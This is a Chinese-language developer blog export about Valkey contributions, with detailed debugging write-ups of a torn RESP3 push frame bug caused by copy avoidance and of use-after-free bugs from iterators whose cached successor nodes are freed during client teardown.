


[{"content":"","date":"2026-07-26","externalUrl":null,"permalink":"/zh-cn/","section":"Quanye's Blog","summary":"","title":"Quanye's Blog","type":"page"},{"content":"记录我在 Valkey（Redis fork）上的贡献：缺陷修复、Raft / RDMA 相关特性，以及配套的 CVE 分析。\nBugFix # 为什么多线程会出现问题的总结 多线程下 RDMA 的崩溃问题 多线程下 RDMA 的崩溃问题（无锁队列 IO 模型） valkey-benchmark 端 RDMA 丢失唤醒 Valkey Over RDMA 测试中 server UAF valkey 32bit 构建头文件顺序问题 多线程下 RDB 文件 crash RESP3 push frame 被拆开（pubsub ≥ 16KiB） UAF：多 BLPOP 场景 防止同步重入导致的 UAF Client Side Caching：断开后反向索引未清理 Feature # Raft Cluster Pre-Vote Raft Cluster 非投票成员 Raft Cluster valkey-cli 工具兼容 基于 Raft 的 cluster bus（Cluster V2） Valkey Over RDMA：多线程测试框架 RDMA 库运行时动态加载 Security # CVE-2026-27623：畸形 RESP 预认证 DoS CVE-2026-25243：RESTORE 非法内存访问 / RCE RDB_OPCODE_SLOT_IMPORT 短 job_name 堆越界读 RDMA 背景 # Valkey Over RDMA 技术原理 事件通知是怎么产生的 ","date":"2026-07-26","externalUrl":null,"permalink":"/zh-cn/valkey/","section":"Valkey","summary":"\u003cp\u003e记录我在 \u003ca href=\"https://github.com/valkey-io/valkey\" target=\"_blank\"\u003eValkey\u003c/a\u003e（Redis fork）上的贡献：缺陷修复、Raft / RDMA 相关特性，以及配套的 CVE 分析。\u003c/p\u003e\n\n\n\u003ch2 class=\"relative group\"\u003eBugFix \n    \u003cdiv id=\"bugfix\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#bugfix\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"bugfix-multithread/\"\u003e为什么多线程会出现问题的总结\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"bugfix-multithread-rdma-crash/\"\u003e多线程下 RDMA 的崩溃问题\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"bugfix-multithread-rdma-lockfree-io/\"\u003e多线程下 RDMA 的崩溃问题（无锁队列 IO 模型）\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"bugfix-benchmark-rdma-lost-wakeup/\"\u003evalkey-benchmark 端 RDMA 丢失唤醒\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"bugfix-rdma-server-uaf/\"\u003eValkey Over RDMA 测试中 server UAF\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"bugfix-valkey-32bit-header-order/\"\u003evalkey 32bit 构建头文件顺序问题\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"bugfix-multithread-rdb-crash/\"\u003e多线程下 RDB 文件 crash\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"bugfix-resp3-push-frame-torn/\"\u003eRESP3 push frame 被拆开（pubsub ≥ 16KiB）\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"bugfix-uaf-multi-blpop/\"\u003eUAF：多 BLPOP 场景\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"bugfix-sync-reentry-uaf/\"\u003e防止同步重入导致的 UAF\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"bugfix-client-side-caching-index-leak/\"\u003eClient Side Caching：断开后反向索引未清理\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\n\n\u003ch2 class=\"relative group\"\u003eFeature \n    \u003cdiv id=\"feature\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#feature\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"feature-raft-cluster-pre-vote-protocol/\"\u003eRaft Cluster Pre-Vote\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"feature-raft-non-voting-members/\"\u003eRaft Cluster 非投票成员\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"feature-raft-cli-tooling/\"\u003eRaft Cluster valkey-cli 工具兼容\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"feature-raft-cluster-bus-v2/\"\u003e基于 Raft 的 cluster bus（Cluster V2）\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"feature-rdma-multithread-tests/\"\u003eValkey Over RDMA：多线程测试框架\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"feature-rdma-runtime-dynamic-loading/\"\u003eRDMA 库运行时动态加载\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\n\n\u003ch2 class=\"relative group\"\u003eSecurity \n    \u003cdiv id=\"security\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#security\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"security-cve-2026-27623-resp-dos/\"\u003eCVE-2026-27623：畸形 RESP 预认证 DoS\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"security-cve-2026-25243-restore-rce/\"\u003eCVE-2026-25243：RESTORE 非法内存访问 / RCE\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"security-rdb-slot-import-oob/\"\u003eRDB_OPCODE_SLOT_IMPORT 短 job_name 堆越界读\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\n\n\u003ch2 class=\"relative group\"\u003eRDMA 背景 \n    \u003cdiv id=\"rdma-%E8%83%8C%E6%99%AF\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#rdma-%E8%83%8C%E6%99%AF\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"rdma-valkey-over-rdma-internals/\"\u003eValkey Over RDMA 技术原理\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"rdma-how-event-notifications-work/\"\u003e事件通知是怎么产生的\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e","title":"Valkey","type":"valkey"},{"content":"","date":"2026-07-22","externalUrl":null,"permalink":"/zh-cn/tags/bugfix/","section":"Tags","summary":"","title":"Bugfix","type":"tags"},{"content":" binbin第一次直接assign给我的issue,我来尝试处理一下并且学习一下这里的代码。\n原issue界面:https://github.com/valkey-io/valkey/issues/4231\n1. 这个 bug 发生在什么业务场景 # 一条 TCP 连接同时干两件事：\nSUBSCRIBE wiretest —— 成为 channel 的订阅者 PUBLISH wiretest \u0026lt;大 payload\u0026gt; —— 又是发布者 Valkey 会给每一个订阅者投递一份消息，其中也包括发布者自己。\nSignalR Redis backplane、某些 multiplexer 客户端就是「同连接 pub+sub」，所以会踩到。\n另一条连接只订阅、不发布：投递是正常的。坏的只有「发布方自己那份」。\n2. 协议层：客户端看到的字节流是什么 # Valkey 用 RESP。客户端从 socket read() 出来的是一串类型标记 + 负载，必须按顺序解析，不能乱。\nRESP2 的 pubsub 投递是普通 array：\n*3\\r\\n $7\\r\\nmessage\\r\\n $8\\r\\nwiretest\\r\\n $16384\\r\\nXXXX...\\r\\n RESP3 用 push（\u0026gt;）表示「服务器主动推送，不是某条命令的回复」：\n\u0026gt;3\\r\\n $7\\r\\nmessage\\r\\n $8\\r\\nwiretest\\r\\n $16384\\r\\nXXXX...\\r\\n 同连接上再发 PUBLISH，命令本身还有一个整数回复（订阅者个数）：\n:1\\r\\n 客户端（如 StackExchange.Redis）会维护「这条命令期待什么 reply」。它期望：\n:1\\r\\n ← PUBLISH 的回复 \u0026gt;3\\r\\n$message\\r\\n$channel\\r\\n$payload\\r\\n ← 推送 若先看到裸的 $16384\\r\\n...，就会当成 PUBLISH 的 reply → 报错并和后续字节流失步。\n3. 服务器侧：一条连接的「待写出队列」长什么样 # 每个 client 大致有三块和写出相关的结构（可跳到 src/server.h 里 client 定义）：\n结构 作用 c-\u0026gt;buf + c-\u0026gt;bufpos 小 reply 先堆在这块静态 buffer（约 16KB，PROTO_REPLY_CHUNK_BYTES） c-\u0026gt;reply list，装不下就 spill 成一块块 clientReplyBlock server.pending_push_messages 全局临时 list：当前命令执行期间，给「自己」的 push 先放这里 写出时（write / writev）顺序大致是：先 c-\u0026gt;buf，再按顺序扫 c-\u0026gt;reply list。\n谁先进入 buf/reply，谁先上 socket。\n事件循环里典型路径：\nread(query) → 解析命令 → 执行 → 把回复塞进 c-\u0026gt;buf / c-\u0026gt;reply → 事件循环稍后 writev(fd, iov...) 把缓冲刷到内核 4. Pub/Sub 投递：从 PUBLISH 到字节 # 命令入口在 src/pubsub.c：\nvoid publishCommand(client *c) { if (server.sentinel_mode) { sentinelPublishCommand(c); return; } int receivers = pubsubPublishMessageAndPropagateToCluster(c-\u0026gt;argv[1], c-\u0026gt;argv[2], 0); if (!server.cluster_enabled) forceCommandPropagation(c, PROPAGATE_REPL); addReplyLongLong(c, receivers); } 注意顺序：\n先 pubsubPublishMessage... —— 给所有订阅者排队 push 再 addReplyLongLong(c, receivers) —— 给当前客户端写 :N 投递核心：\nint pubsubPublishMessageInternal(robj *channel, robj *message, pubsubtype type) { ... while (hashtableNext(\u0026amp;iter, \u0026amp;c)) { addReplyPubsubMessage(c, channel, message, *type.messageBulk); ... receivers++; } 组装一帧 push：\nvoid addReplyPubsubMessage(client *c, robj *channel, robj *msg, robj *message_bulk) { struct ClientFlags old_flags = c-\u0026gt;flag; c-\u0026gt;flag.pushing = 1; if (c-\u0026gt;resp == 2) addReply(c, shared.mbulkhdr[3]); else addReplyPushLen(c, 3); addReply(c, message_bulk); addReplyBulk(c, channel); if (msg) addReplyBulk(c, msg); if (!old_flags.pushing) c-\u0026gt;flag.pushing = 0; } 语义上连续写 4 段：\n\u0026gt;3\\r\\n（或 RESP2 的 *3） message channel 名（bulk） payload（bulk） 中间设了 c-\u0026gt;flag.pushing = 1，告诉下层 reply API：「这是 push，不是普通命令回复」。\n5. 为什么要有 pending_push_messages（defer） # 若发布者就是当前连接，且在执行 PUBLISH 中途就把 push 写进 c-\u0026gt;buf，会发生：\n[push 半帧或整帧] [ :1 ] [或许更多] 更糟的是 MULTI/EXEC：一串命令回复中间插入 push，客户端协议状态机很难处理。\n所以 Valkey 约定：\n给正在执行命令的这个 client 投递 push 时，先不进正式 reply 队列，放进 pending_push_messages；命令跑完、命令回复写好之后，再 listJoin 拼到 c-\u0026gt;reply 末尾。\n逻辑在 src/networking.c 的 _addReplyToBufferOrList：\n/* If we\u0026#39;re processing a push message into the current client (i.e. executing PUBLISH * to a channel which we are subscribed to, then we wanna postpone that message ... */ int defer_push_message = c-\u0026gt;flag.pushing \u0026amp;\u0026amp; c == server.current_client \u0026amp;\u0026amp; server.executing_client \u0026amp;\u0026amp; !cmdHasPushAsReply(server.executing_client-\u0026gt;cmd); ... if (defer_push_message) { _addReplyProtoToList(c, server.pending_push_messages, s, len); return; } 条件拆开：\nc-\u0026gt;flag.pushing：正在组 push（addReplyPubsubMessage 设的） c == server.current_client：接收 push 的人就是发命令的人（self-publish） 当前命令不是 SUBSCRIBE 族（那些命令本身用 push 当「回复」） 命令结束后：\nif (!server.execution_nesting) listJoin(c-\u0026gt;reply, server.pending_push_messages); 理想时序：\n执行 PUBLISH ├─ 给自己的 push 各段 → pending_push_messages └─ :1 → c-\u0026gt;buf / c-\u0026gt;reply afterCommand └─ pending 接到 c-\u0026gt;reply 尾部 写出顺序: :1 → 完整 \u0026gt;3 push 投递给别人时 c != current_client，不 defer，整帧直接进对方 buf/reply，顺序天然正确。\n6. Reply Copy Avoidance：9.0 引入的优化 # 大字符串 bulk 回复如果 memcpy 进 reply buffer，CPU/内存带宽浪费大。\n#2078 做了「copy avoidance」：\nreply buffer 里不存字符串本体，只存一个小结构 bulkStrRef { robj *obj; char *str; } 真正 writev 时，把 iovec 直接指到对象内存里的 sds 写出展开（可跳到 src/networking.c）：\nstatic void addBulkStringToReplyIOV(char *buf, size_t buf_len, replyIOV *reply, bufWriteMetadata *metadata) { bulkStrRef *str_ref = (bulkStrRef *)buf; while (buf_len \u0026gt; 0 \u0026amp;\u0026amp; !reply-\u0026gt;limit_reached) { size_t str_len = sdslen(str_ref-\u0026gt;str); /* RESP encodes bulk strings as $\u0026lt;length\u0026gt;\\r\\n\u0026lt;data\u0026gt;\\r\\n */ ... addPlainBufferToReplyIOV(... prefix \u0026#34;$len\\r\\n\u0026#34; ...); addPlainBufferToReplyIOV(str_ref-\u0026gt;str, str_len, ...); /* 直接指对象内存 */ addPlainBufferToReplyIOV(reply-\u0026gt;crlf, 2, ...); 入口在 addReplyBulk：\nvoid addReplyBulk(client *c, robj *obj) { if (tryAvoidBulkStrCopyToReply(c, obj) == C_OK) { ... return; /* 走了 copy-avoid，不再走下面的普通路径 */ } addReplyBulkLen(c, obj); addReply(c, obj); /* → _addReplyToBufferOrList（会 defer） */ addReplyProto(c, \u0026#34;\\r\\n\u0026#34;, 2); } 是否启用由 isCopyAvoidPreferred 决定；单线程默认阈值 16384：\nreturn server.min_string_size_copy_avoid \u0026amp;\u0026amp; sdslen(objectGetVal(obj)) \u0026gt;= (size_t)server.min_string_size_copy_avoid; 所以：\npayload 16383：不走 CA → addReply → _addReplyToBufferOrList → 会 defer → 正确 payload ≥16384：走 CA → _addBulkStrRefToBufferOrList → 不管 defer → bug 这和「16KB chunk」表象一致，本质是 CA 默认阈值碰巧等于 16KB。\n7. 两条路径合在一起：逐步跟一次 bug # 场景：同连接 HELLO 3 + SUBSCRIBE + PUBLISH 16384 字节。\n步骤 A：开始组自己的 push # addReplyPubsubMessage 设 pushing=1，然后：\n调用 走哪条 API 结果 addReplyPushLen(\u0026gt;3) _addReplyToBufferOrList defer → pending addReply(\u0026quot;message\u0026quot;) 同上 defer → pending addReplyBulk(channel) 小字符串，CA 不启用 → 普通路径 defer → pending addReplyBulk(msg) 16384 CA 启用 见下一步 此时 pending_push_messages 里大致是：\n\u0026gt;3\\r\\n $7\\r\\nmessage\\r\\n $8\\r\\nwiretest\\r\\n 还缺最后的 payload。\n步骤 B：大 payload 走了错误出口 # tryAvoidBulkStrCopyToReply → _addBulkStrRefToBufferOrList：\nstatic void _addBulkStrRefToBufferOrList(client *c, robj *obj) { ... /* 没有 defer_push_message 判断！ */ if (!_addBulkStrRefToBuffer(c, ...)) { _addBulkStrRefToToList(c, ...); /* 硬编码进 c-\u0026gt;reply */ } } bulkStrRef 进了 c-\u0026gt;buf（或 c-\u0026gt;reply），不进 pending。\n内存视图：\nc-\u0026gt;buf: [payloadHeader][bulkStrRef{ptr→argv[2]}] pending: \u0026gt;3 ... message ... channel （缺 payload） 步骤 C：PUBLISH 自己的回复 # addReplyLongLong(c, 1) → :1\\r\\n 也进 c-\u0026gt;buf，紧挨在 bulkStrRef 后面：\nc-\u0026gt;buf: [bulkStrRef] [:1\\r\\n] pending: \u0026gt;3 ... message ... channel 步骤 D：afterCommand 拼接 # listJoin(c-\u0026gt;reply, pending)：\n写出顺序: 1) 展开 bulkStrRef → $16384\\r\\nXXXX...\\r\\n 2) :1\\r\\n 3) \u0026gt;3\\r\\n$message\\r\\n$channel\\r\\n ← 没有 payload 的残缺 push 这就是 issue 里的 wire capture。客户端以为 $16384... 是 PUBLISH reply → 协议失步。\n8. 你可以用一张图记住 # addReplyPubsubMessage (pushing=1) │ ┌───────────────────┼───────────────────┐ │ │ │ 小片段 (header/ channel payload ≥16KB message) (小 bulk) │ │ │ │ ▼ ▼ ▼ _addReplyToBufferOrList addReplyBulk │ │ │ defer? ├─ \u0026lt;阈值: 普通路径 → defer ✓ │ (self+pushing) └─ ≥阈值: copy-avoid ▼ │ pending_push_messages ▼ _addBulkStrRef* → c-\u0026gt;buf / c-\u0026gt;reply ✗ │ publishCommand 再写 :1 ──────────────────────────┘ │ afterCommand: listJoin(pending → reply 尾) │ ▼ 撕碎的 socket 字节流 9. 读代码时建议的顺序（当「导览」） # publishCommand / addReplyPubsubMessage —— src/pubsub.c _addReplyToBufferOrList 的 defer 注释 —— src/networking.c ~744 afterCommand 的 listJoin —— src/server.c ~4195 addReplyBulk / isCopyAvoidPreferred / _addBulkStrRefToBufferOrList —— 同文件 addBulkStringToReplyIOV —— 理解 CA 如何变成 $len\\r\\ndata 本地验证：起一个实例，跑 issue 里的 Python；或 CONFIG GET min-string-size-avoid-copy-reply 看阈值。把阈值设成 0 关掉 CA，大消息也会好——侧面证明根因是 CA 绕过 defer，不是 pubsub 逻辑本身。\n","date":"2026-07-22","externalUrl":null,"permalink":"/zh-cn/valkey/bugfix-resp3-push-frame-torn/","section":"Valkey","summary":"\u003cblockquote\u003e\n\u003cp\u003ebinbin第一次直接assign给我的issue,我来尝试处理一下并且学习一下这里的代码。\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e原issue界面:https://github.com/valkey-io/valkey/issues/4231\u003c/p\u003e\n\u003chr\u003e\n\n\n\u003ch2 class=\"relative group\"\u003e1. 这个 bug 发生在什么业务场景 \n    \u003cdiv id=\"1-%E8%BF%99%E4%B8%AA-bug-%E5%8F%91%E7%94%9F%E5%9C%A8%E4%BB%80%E4%B9%88%E4%B8%9A%E5%8A%A1%E5%9C%BA%E6%99%AF\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#1-%E8%BF%99%E4%B8%AA-bug-%E5%8F%91%E7%94%9F%E5%9C%A8%E4%BB%80%E4%B9%88%E4%B8%9A%E5%8A%A1%E5%9C%BA%E6%99%AF\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003e一条 TCP 连接同时干两件事：\u003c/p\u003e","title":"RESP3 push frame torn apart when a pubsub message \u003e= 16384 bytes is delivered to the publishing connection (9.0 regression)","type":"valkey"},{"content":"","date":"2026-07-22","externalUrl":null,"permalink":"/zh-cn/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"2026-07-22","externalUrl":null,"permalink":"/zh-cn/tags/valkey/","section":"Tags","summary":"","title":"Valkey","type":"tags"},{"content":" 迄今为止我们看到好几个这样的段错误问题了。\n这个PR,为单线程释放造成的UAF https://github.com/valkey-io/valkey/pull/4212 同时还有多线程下RDMA的崩溃问题 以及 Valkey Over RDMA测试中server UAF崩溃的问题 中我们都遇到类似的问题，于是尝试从架构上来解决一下这个问题.\n举一隅不以三隅反，则不复也。\nBroader direction (non-blocking): Part of the root cause is that many flows free clients synchronously (CLIENT KILL, evictClients(), COB-limit handling, …), and we keep tripping over iterators/cached pointers that outlive those frees. This snapshot fix is a good local solution, but it may be worth a broader discussion on whether these paths should prefer freeClientAsync() so client teardown always happens at a safe point (beforeSleep) rather than mid-iteration. Raising it here since it\u0026rsquo;s a recurring class of bug, not to block this PR.\n风险清单 # 核心判据:\nlistIter 缓存后继 ≠ 只删当前 + 中途同步 freeClient / module 回调可能拆掉后继 高优先级 # # 位置 迭代什么 中途可能发生什么 为何像本 bug 最小尝试思路 H1 networking.c → evictClients client_mem_usage_buckets[].clients freeClient(当前)；若 module/CLIENT KILL 再杀同 bucket 后继 标准 listIter+后继 maxmemory-clients + 多个大输出 client；最好配合 disconnect 里 KILL 另一个 H2 networking.c → clientKillCommand server.clients 对匹配项同步 freeClient 杀当前安全；若 free→module→KILL 下一个匹配者 则 UAF ≥2 个匹配 client；module CLIENT_CHANGE 里再 KILL 后继 H3 acl.c → pubsub/ACL 限制踢人（freeClientOrCloseLater(..., 0)） server.clients 同步 free 同 H2 两 pubsub client + ACL SETUSER/ACL LOAD 收紧 channel 无module多BLPOP场景 # 1. BLPOP 是干什么的？ # 普通 LPOP mylist：list 空就立刻回 (nil)。\nBLPOP mylist 0 是 Blocking LPOP：\nlist 里有元素 → 立刻弹出，和 LPOP 一样 list 空 → 不立刻回包，这个 TCP 连接在服务端进入阻塞态，等有人 LPUSH/RPUSH 再唤醒 从网络协议栈看：\n客户端 socket ──write──▶ 服务端 query buffer │ 解析出 BLPOP │ list 空？──yes──▶ 标记 CLIENT_BLOCKED │ 可读 handler 仍在（epoll 仍监听） │ 但不再 parse/execute 后续命令 │ （数据可进 query buf，先不执行） │ 客户端 read() 阻塞等 RESP ◀── 暂时没有任何 reply 写出 所以 BLPOP 本质是：用一条长连接 + 服务端状态机，把“等数据”从客户端轮询变成服务端挂起。超时参数 0 表示一直等。\n多个客户端对同一 key 做 BLPOP，就是多个 waiter 排队。\n2. 服务端怎么记这些“等着的人”？ # 每个 DB 有一张表：db-\u0026gt;blocking_keys：\nkey \u0026#34;mylist\u0026#34; ──▶ list: [ client A ] → [ client B ] → ... 挂上时（blockForKeys）往链表尾插节点：\nlistAddNodeTail(l, c); dictSetVal(c-\u0026gt;bstate-\u0026gt;keys, client_blocked_entry, listLast(l)); 内存里大致是：\nlist 头 │ ▼ ┌─────────────┐ next ┌─────────────┐ │ listNode A │ ───────▶ │ listNode B │ │ value = \u0026amp;A │ │ value = \u0026amp;B │ └─────────────┘ └─────────────┘ ▲ ▲ │ │ client A 还把自己的 client B 同理 bstate-\u0026gt;keys[\u0026#34;mylist\u0026#34;] 指回这个 listNode* （方便 O(1) 摘链，而不是扫链表） 要点：链表节点 listNode 是独立 heap 对象； 客户端结构体里还握着指向它的指针。 谁把客户端拆掉，往往会顺手 listUnlink + zfree(listNode)。\n3. 有人 LPUSH 之后发生什么？ # LPUSH mylist v1 执行完会 signalKeyAsReady，把 key 丢进 server.ready_keys。\n当前命令的 processCommand 末尾调用 handleClientsBlockedOnKeys → handleClientsBlockedOnKey：\nlistRewind(clients, \u0026amp;li); ... while ((ln = listNext(\u0026amp;li)) \u0026amp;\u0026amp; count--) { client *receiver = listNodeValue(ln); ... unblockClientOnKey(receiver, rl-\u0026gt;key); 对 list 类命令，唤醒不是“直接塞个回复”那么简单，而是：\n把该 client 从 blocking_keys 摘掉、清 CLIENT_BLOCKED 重新执行原来的 BLPOP（processCommand 再跑一遍） 这时 list 里已有元素，BLPOP 同步弹出并 addReply 这就是 “reexec / pending_command” 路径。\n4. Bug 的核心：listIter 提前缓存了后继节点 # adlist 的迭代器约定写得很清楚：迭代时只允许删当前节点，不能删别的节点。\nlistNode *listNext(listIter *iter) { listNode *current = iter-\u0026gt;next; if (current != NULL) { if (iter-\u0026gt;direction == AL_START_HEAD) iter-\u0026gt;next = current-\u0026gt;next; /* 已经把“下一个”指针存进 iter */ else iter-\u0026gt;next = current-\u0026gt;prev; } return current; } 服务 A 的那一轮：\nlistNext(\u0026amp;li) 得到 nodeA 同时 li.next = nodeB ← 后继指针已经钉死在栈上的 listIter 里 然后对 A 调用 unblockClientOnKey(A)。若在这个调用返回之前， 有人把 nodeB 从链表摘掉并 free， 返回后外层再 listNext 就会读已经释放的 listNode → heap UAF。\nadlist 只保证：删当前节点时，迭代器里缓存的 next 仍有效。它不保证你在回调里删掉后继。\n5. 谁在回调里杀掉了后继 B？（无 module 的这条路径） # 调用栈（你 ASan 打出来的那条）：\nhandleClientsBlockedOnKey // 正在 for 链表，li.next == nodeB └─ unblockClientOnKey(A) └─ processCommand(A) // 重跑 BLPOP └─ evictClients() // processCommand 开头：客户端内存超限就踢人 └─ freeClient(B) // B 输出缓冲很大，被选中 └─ unblockClient / unblockClientWaitingData └─ zfree(nodeB) // 正是 li.next 指向的那块 … 回到 while └─ listNext(\u0026amp;li) // 读已 free 的 nodeB → UAF 从系统角度：\n层 发生了什么 事件循环 仍在处理同一次 read→processCommand(EXEC/LPUSH) 的同步调用栈里，没有回到 epoll_wait 客户端状态 A 从 blocked → 重入命令执行；B 仍在同一条 blocking_keys 链表上 内存 evictClients 同步 freeClient(B)，把 B 的 listNode 还给 jemalloc/libc 迭代器 栈上 listIter.next 仍是悬空指针 所以这不是“多线程 race”，而是 单线程重入（reentrancy）：外层握着结构，内层同一线程把结构拆了。\n和 module 版 #4198 的差别只在“谁触发 freeClient(后继)”：\nmodule：reply 回调里 CLIENT KILL 这条：processCommand → evictClients 同一条链表 + 同一种危险的 listIter 用法。\n6. 为啥测试要用 MULTI 绑 CONFIG SET + LPUSH？ # 若直接：\nCONFIG SET maxmemory-clients 很小 LPUSH mylist v1 则 LPUSH 自己的 processCommand 一进来就会 evictClients，B 可能在进入 handleClientsBlockedOnKey 之前就被踢掉——打不到“迭代中途 free 后继”。\nMULTI/EXEC 把降水位和 LPUSH 放进同一次 EXEC：\nprocessCommand(EXEC) 开头：水位还高 → 不踢 B 事务里 CONFIG SET 把水位降下去（只走嵌套 call()，不再跑一整遍外层 processCommand） 事务里 LPUSH 把 key 标 ready EXEC 结束后才 handleClientsBlockedOnKeys 服务 A 时嵌套 processCommand(A) 才按低水位踢掉 B → 正好打在迭代窗口里 这是在人为制造“唤醒路径上、迭代中途发生同步 free”的时序，不是日常最常见写法，但证明了：普通 BLPOP 路径确实能踩到这个洞。\n7. 一句话收束 # BLPOP = list 空时把连接挂在 blocking_keys[key] 的 waiter 链表上。\nBug = 唤醒时用 listIter 扫这条链表，却在服务当前 waiter 的同步回调里（重跑命令 → evictClients）把后继 waiter 的 listNode 释放了，外层再 listNext 读悬空指针。\n修复思路也因此很明确：不要在可能同步 freeClient 的回调期间，依赖“缓存了后继 listNode*”的裸迭代；改成 ID/指针快照或先收集再处理，使后继被拆掉时不会再解引用已释放节点。\n核心栈:\n# use: listNext ← handleClientsBlockedOnKey # free: unblockClientWaitingData ← freeClient ← evictClients # ← processCommand ← unblockClientOnKey ← handleClientsBlockedOnKey # alloc: listAddNodeTail ← blockForKeys ← blpopCommand 内存布局上就是：adlist 的 listIter 把后继 listNode* 缓存在 li.next； 嵌套 processCommand 里 evictClients 同步 freeClient 后继 waiter，把同一条 blocking_keys 链表节点 zfree 掉；外层再 listNext → UAF。\nH1场景 # evictClients: listNext → 当前 fat1，iter-\u0026gt;next = fat2 的 listNode* freeClient(fat1) ├─ CLIENT_CHANGE_DISCONNECTED ← 此时 fat1 还在 bucket 上 │ └─ module: CLIENT KILL fat2 │ └─ freeClient(fat2) │ └─ listDelNode → zfree(fat2 的 listNode) ← 后继堆块已释放 └─ … 稍后才 listDelNode(fat1) 内存仍超限（fat3 还在）→ 再 listNext → 读已释放的 fat2 节点 → UAF 会产生此类问题.\nH2场景 # 结论：炸在外层 clientKillCommand 的第二次 listNext——读的是已被内层 KILL 释放的后继 listNode。\n1. 入口（网络 → 命令） # 测试客户端发 CLIENT KILL ID \u0026lt;id1\u0026gt;：\nreadQueryFromClient → processInputBuffer → processCommand → clientKillCommand\n此时 server.clients 大致是：\n... → [node_r] → [node_A / id1] → [node_B / id2] → ... ↑ 当前要杀的 ↑ listIter 会缓存的后继 每个 listNode 是堆上 24 字节左右的双向链表节点（prev/next/value）；client-\u0026gt;client_list_node 指向自己的那颗节点。\n2. 外层循环：先“看见” A，并提前缓存 B # listNode *listNext(listIter *iter) { listNode *current = iter-\u0026gt;next; if (current != NULL) { if (iter-\u0026gt;direction == AL_START_HEAD) iter-\u0026gt;next = current-\u0026gt;next; /* 关键：把后继指针抄进 iter */ ... } return current; } 走到 A 时：\n位置 内容 返回值 ln node_A 栈上 li.next node_B 的地址（尚未访问，只是缓存） server.clients A、B 都还在 然后 freeClient(A)。\n3. 关键窗口：CLIENT_CHANGE 在 unlinkClient 之前 # if (c-\u0026gt;conn) { moduleFireServerEvent(..., CLIENT_CHANGE_DISCONNECTED, c); } unlinkClient 要到后面才跑：\nunlinkClient(c); 所以回调里：\nA 的 client* / conn 还活着 A、B 的 listNode 都还链在 server.clients 上 外层 li.next 仍指向 node_B 4. Module 同步再杀 B（嵌套同一条路径） # h2uaf 回调：ValkeyModule_Call(CLIENT KILL ID id2)\n调用栈变成：\nclientKillCommand ← 外层（杀 A，li.next = node_B） freeClient(A) moduleFireServerEvent clientChangeCallback VM_Call → CLIENT KILL ID B clientKillCommand ← 内层 freeClient(B) unlinkClient(B) listDelNode(server.clients, node_B) ← zfree(node_B) listDelNode 直接 zfree(node)：\nvoid listDelNode(list *list, listNode *node) { listUnlinkNode(list, node); ... 